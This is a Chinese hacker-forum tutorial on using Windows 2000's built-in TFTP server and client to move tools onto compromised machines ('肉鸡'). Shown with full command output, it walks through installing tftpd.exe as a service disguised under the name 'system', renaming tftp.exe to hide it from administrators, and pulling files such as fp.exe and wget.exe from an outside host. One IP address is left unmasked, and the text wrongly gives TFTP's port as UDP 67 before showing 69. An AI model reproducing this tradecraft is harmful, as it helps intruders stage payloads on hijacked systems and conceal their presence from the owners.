| 关键词: system Tftp winnt 文件 目录 windir 32 tftpd 服务 218.11 |
文章结构0. 写在前面的话1. Tftp介绍2. 寻找tftp程序3. 安装为服务4. 问题##################################################################0. 写在前面的话##################################################################前几天没有空。今天上网。看见网嗅的部分兄弟对这个还不是很清楚。那么我就来个简单的说明。算是一个圣诞的礼物吧!!前几天出差。在酒桌上终于知道圣诞节的来历了。原来是一个老人,冬天出来尿尿。把小鸡鸡冻坏了,掉了。人们为了纪念。就成了这个样子了。哈哈小心你的哟。别冻坏了。掉了。##################################################################1. Tftp介绍##################################################################TFTP简介TFTP(Trivial File Transfer Protocol,简单文件传输协议)是TCP/IP协议族中的一个用来在客户机与服务器之间进行简单文件传输的协议,提供不复杂、开销不大的文件传输服务。TFTP承载在UDP上,提供不可靠的数据流传输服务,不提供存取授权与认证机制,使用超时重传方式来保证数据的到达。与FTP相比,TFTP的大小要小的多。现在最普遍使用的是第二版TFTP(TFTP Version 2,RFC 1350).使用UDP 67端口!下面是fport.exe的结果2000 tftpd -> 69 UDP c:\winnt\system32\tftpd.exe##################################################################2. 寻找tftp程序##################################################################C:\WINNT\system32>dir %windir%\tftp* /sdir %windir%\tftp* /s //表示在%windir%目录所有子目录搜索tftp前缀程序驱动器 C 中的卷没有标签。卷的序列号是 D428-6BB5C:\WINNT\system32 的目录2000-01-10 12:00 17,168 tftp.exe //客户端 微软自带2000-01-09 00:00 11,264 tftpd.exe //服务端 server版本以上才有2 个文件 28,432 字节 pro没有C:\WINNT\system32\dllcache 的目录2000-01-10 12:00 17,168 tftp.exe1 个文件 17,168 字节##################################################################3. 安装为服务##################################################################需要instsrv.exe程序a.安装C:\WINNT\system32>instsrv system %windir%\system32\tftpd.exeinstsrv system %windir%\system32\tftpd.exeThe service was successfuly added!Make sure that you go into the Control Panel and usethe Services applet to change the Account Name andPassword that this newly installed service will useb.查询C:\WINNT\system32>sc qc systemsc qc system[SC] GetServiceConfig SUCCESSSERVICE_NAME: systemTYPE : 10 WIN32_OWN_PROCESSSTART_TYPE : 2 AUTO_STARTERROR_CONTROL : 1 NORMALBINARY_PATH_NAME : C:\WINNT\system32\tftpd.exeLOAD_ORDER_GROUP :TAG : 0DISPLAY_NAME : systemDEPENDENCIES :SERVICE_START_NAME : LocalSystemc.启动C:\WINNT\system32>net start systemnet start systemsystem 服务正在启动 .system 服务已经启动成功。C:\WINNT\system32>sc query systemsc query systemSERVICE_NAME: systemTYPE : 10 WIN32_OWN_PROCESSSTATE : 4 RUNNING(STOPPABLE,PAUSABLE,ACCEPTS_SHUTDOWN)WIN32_EXIT_CODE : 0 (0x0)SERVICE_EXIT_CODE : 0 (0x0)CHECKPOINT : 0x0WAIT_HINT : 0x0d.查看端口是否开放!C:\WINNT\system32>fp |find "tftp"fp |find "tftp"2000 tftpd -> 69 UDP c:\winnt\system32\tftpd.exeC:\WINNT\system32>netstat -an |find "69"netstat -an |find "69"UDP 192.168.0.1:69 *:*UDP 218.11.x.67:69 *:*e.默认文件名称当前驱动器的根目录C:\WINNT\system32>dir %windir%\..\tftp* /ad //看见了吗?dir %windir%\..\tftp* /ad驱动器 C 中的卷没有标签。卷的序列号是 D428-6BB5C:\ 的目录2002-12-19 09:27 tftpdroot0 个文件 0 字节1 个目录 3,560,779,776 可用字节C:\WINNT\system32>dir %windir%\..\tftpdrootdir %windir%\..\tftpdroot驱动器 C 中的卷没有标签。卷的序列号是 D428-6BB5C:\tftpdroot 的目录2002-12-19 09:27 .2002-12-19 09:27 ..2002-11-30 14:12 941 slimftpd.conf2002-10-22 11:00 1,642 settings.ini2001-05-04 13:58 52,736 fp.exef.使用客户端程序因为put就是默认到服务器的这个目录。 上传get就是到当前运行的目录里面 下载C:\WINNT\system32>tftp -i 218.11.x.67 get fp.exetftp -i 218.11.140.67 get fp.exeTransfer successful: 52736 bytes in 1 second, 52736 bytes/s对于小于500K的程序用这个上传下载,还不错哦。因为telnet肉鸡。win2000基本上都有tftp.exe 或者自己修改名称隐藏一个呀。有的管理员要删除的哟!!C:\WINNT\system32>tftp -i 218.11.x.67 put fp.exetftp -i 218.11.140.67 put fp.exeTransfer successful: 52736 bytes in 1 second, 52736 bytes/s//上面是上传到服务器。##################################################################4. 问题##################################################################因为目录是固定的。所以很容易被发现。只要找弱一点的机器开tftp服务了。还有一个tftpd32.exe 是gui界面的 win98也可以自己开服务器的。压缩后23K我一般就是上传wget.exe这样方便。还有就是C:\WINNT\system32>tftp -i 218.11.x.67 get fp.exetftp -i 218.11.140.67 get fp.exetftp: can't write to local file 'fp.exe'一般就是本地没有写文件权限 (echo a >b) &(type b) 这样测试权限或者本地存在同名只读属性的文件。需要更新的话。请删除本地文件 |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|